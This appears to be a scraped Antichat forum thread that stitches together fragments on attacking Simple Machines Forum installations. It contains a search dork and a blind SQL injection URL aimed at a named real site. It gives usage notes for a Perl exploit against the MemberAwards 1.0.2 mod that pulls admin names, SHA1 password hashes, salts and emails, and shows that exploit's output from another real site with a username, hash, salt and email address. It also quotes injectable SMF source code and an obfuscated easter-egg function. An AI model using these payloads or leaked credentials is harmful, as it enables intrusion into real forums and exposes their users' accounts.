ANTICHAT — форум по информационной безопасности, OSINT и технологиям

http://forum.com/index.php~

http://www.forum.com/Settings.php ~

http://forum.com/Packages/installed.list

http://forum.com/SSI.php?ssi_layers

foreach ($_REQUEST['options'] as $id)
	{
		$id = (int) $id;

inurl:index.php?action=profile;sa=awardsMembers;id=1

http://evilsite.com/smf/index.php?action=profile;sa=awardsMembers;u=1;id=1

http://forum.rockmanpm.com/index.php?action=profile;sa=awardsMembers;u=1;id=1+and+substring(version(),1)=5

  SMF ] MemberAwards 1.0.2 exploit
  eLwaux(c)uasc && antichat 2009
  thx: Grey && mailbrush

  usage:
     expl.pl http://site.com/smf/index.php ID_MEMBER TABLE_PREF {params}
     params:
        -v = get version()
        -u = get user()
        -d = get database() 
        -an = get User Name  (логин)
        -ap = get User Password (sha1 хеш)
        -as = get User Salt (сальт)
        -am = get User Mail (емейл)

$SHOW_ALL = 1; - показывать результат брута
$SHOW_COUNT_REQ = 1; - показать количество запросов
..
все ф-ции в таком формате:
&getAdminName(41,122) , &getAdminPass(41,122), &getUser1(97,122), ..etc
первый параметр - начало перебора, второй - конец.
т.е. для AdminName будет перебор от chr(41) до chr(122).
если скрипт не сможет роспознать имя\пароль\хеш\etc значит нужно изменить ети числа на
0..255, т.е. чтоб получилось так:
&getAdminName(0,255) , &getAdminPass(0,255), &getUser1(0,255), ..etc

http://scrubs.net.ru/cms/forum/index.php

] Host: scrubs.net.ru
  BAD answer = '╬°шсър!' <-- Ошибка
] version() = 5
] user() = us5729a@localhost
] database() = db
] id=1 NAME = zhbanito
] id=1 PASS = 4edd40635ac6fd263084d5ccc6fdc624fef3c932
] id=1 SALT = fe81
] id=1 MAIL = shpioner@mail.ru

$ php smf.php
passwd: c22dcc8d6b9378b8fad65ab2a359fbdd60dfcb86
Requests: 160
Time: 00:00:32

function EditHoliday()
{
	global $txt, $context, $db_prefix, $scripturl;

	loadTemplate('ManageCalendar');

	$context['is_new'] = !isset($_REQUEST['holiday']);
	$context['page_title'] = $context['is_new'] ? $txt['holidays_add'] : $txt['holidays_edit'];
	$context['sub_template'] = 'edit_holiday';
	$context['admin_tabs']['tabs']['holidays']['is_selected'] = true;

	// Submitting?
	if (isset($_POST['sc']) && (isset($_REQUEST['delete']) || $_REQUEST['title'] != ''))
	{
		checkSession();

		if (isset($_REQUEST['delete']))
			db_query("
				DELETE FROM {$db_prefix}calendar_holidays
				WHERE ID_HOLIDAY = $_REQUEST[holiday]", __FILE__, __LINE__);
		else
		{
			$date = strftime($_REQUEST['year'] <= 4 ? '0004-%m-%d' : '%Y-%m-%d', mktime(0, 0, 0, $_REQUEST['month'], $_REQUEST['day'], $_REQUEST['year']));
			if (isset($_REQUEST['edit']))
				db_query("
					UPDATE {$db_prefix}calendar_holidays
					SET eventDate = '$date', title = '$_REQUEST[title]'
					WHERE ID_HOLIDAY = $_REQUEST[holiday]", __FILE__, __LINE__);
			else
				db_query("
					INSERT INTO {$db_prefix}calendar_holidays
						(eventDate, title)
					VALUES
						('$date', SUBSTRING('$_REQUEST[title]', 1, 48))", __FILE__, __LINE__);
		}

		updateStats('calendar');

		redirectexit('action=managecalendar;sa=holidays');
	}

	// Default states...
	if ($context['is_new'])
		$context['holiday'] = array(
			'id' => 0,
			'day' => date('d'),
			'month' => date('m'),
			'year' => '0000',
			'title' => ''
		);
	// If it's not new load the data.
	else
	{
		$request = db_query("
			SELECT ID_HOLIDAY, YEAR(eventDate) AS year, MONTH(eventDate) AS month, DAYOFMONTH(eventDate) AS day, title
			FROM {$db_prefix}calendar_holidays
			WHERE ID_HOLIDAY = $_REQUEST[holiday]
			LIMIT 1", __FILE__, __LINE__);
		while ($row = mysql_fetch_assoc($request))
			$context['holiday'] = array(
				'id' => $row['ID_HOLIDAY'],
				'day' => $row['day'],
				'month' => $row['month'],
				'year' => $row['year'] <= 4 ? 0 : $row['year'],
				'title' => $row['title']
			);
		mysql_free_result($request);
	}

	// Last day for the drop down?
	$context['holiday']['last_day'] = (int) strftime('%d', mktime(0, 0, 0, $context['holiday']['month'] == 12 ? 1 : $context['holiday']['month'] + 1, 0, $context['holiday']['month'] == 12 ? $context['holiday']['year'] + 1 : $context['holiday']['year']));
}

function Mascot()
{
	global $sourcedir;
 
	// Some important quotes.
	$O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O = array(
		'Power tends to corrupt, and absolute power corrupts absolutely. Great men are almost always bad men.  ~Lord Acton',
		'My web site is so fresh. The paint is still wet, but stay tuned, because I have lots of personal things, specifically about what is happening day-to-day, that I will keep updating daily.  ~David Hasselhoff',
		'Buy old masters. They fetch a better price than old mistresses.  ~William Maxwell Aitken',
		'Why do you have to translate and decode things? Just let the image be. It will have a special kind of reality that it won\'t once it\'s decoded.  ~Laurie Anderson',
		'I don\'t see the logic of rejecting data just because they seem incredible.  ~Fred Hoyle',
		'Jealousy is both reasonable and belongs to reasonable men, while envy is base and belongs to the base, for the one makes himself get good things by jealousy, while the other does not allow his neighbour to have them through envy.  ~Aristotle',
	);
 
	mt_srand(1104307200);$O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=array(floor(pi())*floor(M_E),floor(M_E),ceil(M_PI*exp(1)),ceil(pow(M_LN10,2)),ceil(pow(pi(),floor(M_E))),floor(pow(M_PI,floor(exp(1)))));for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0,$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo='ywky~{'; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo < 6; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++){$O0oOo00oOOo0OOo00O000oooOo00oOO0o00OoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo}) - mt_rand(0,12)); $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]) - $O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]); }$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O=array((1+4)*(4/2)+pow(3,3),ceil(exp(1)),(floor(pi()*M_E)+floor(M_PI))*ceil(M_PI_2),eval('$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0=1;for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo<5;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++,$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0*=2); return $OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0;')+log(M_E),ceil(M_E*M_PI*M_LOG2E*log(10)*(3*2*.2)),ceil(M_E*M_PI*M_LOG2E*log(100)*(3*2*.2))+ceil(pi()),);
	$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo = '335644'; foreach($O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O AS $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo => $q) $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo($q,$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo],$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo});
 
	$O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo = $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[5] . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[0](2,6) . '_' . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[3]; $O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('ZmV0Y2hfd2ViX2RhdGE=');
	require_once($sourcedir . '/Subs-Package.php'); $OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0 = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo($O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O($O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==')));
 
	if (1/M_PI_2 == M_2_PI) die($OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0);
}

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<title>My name is Earl</title>
</head>
<body>
	<h1>Watch out!  He's a killer!</h1>
	<img src="http://www.simplemachines.org/smf/images/earl.jpg" alt="Big giant teeth!" />
</body>
</html>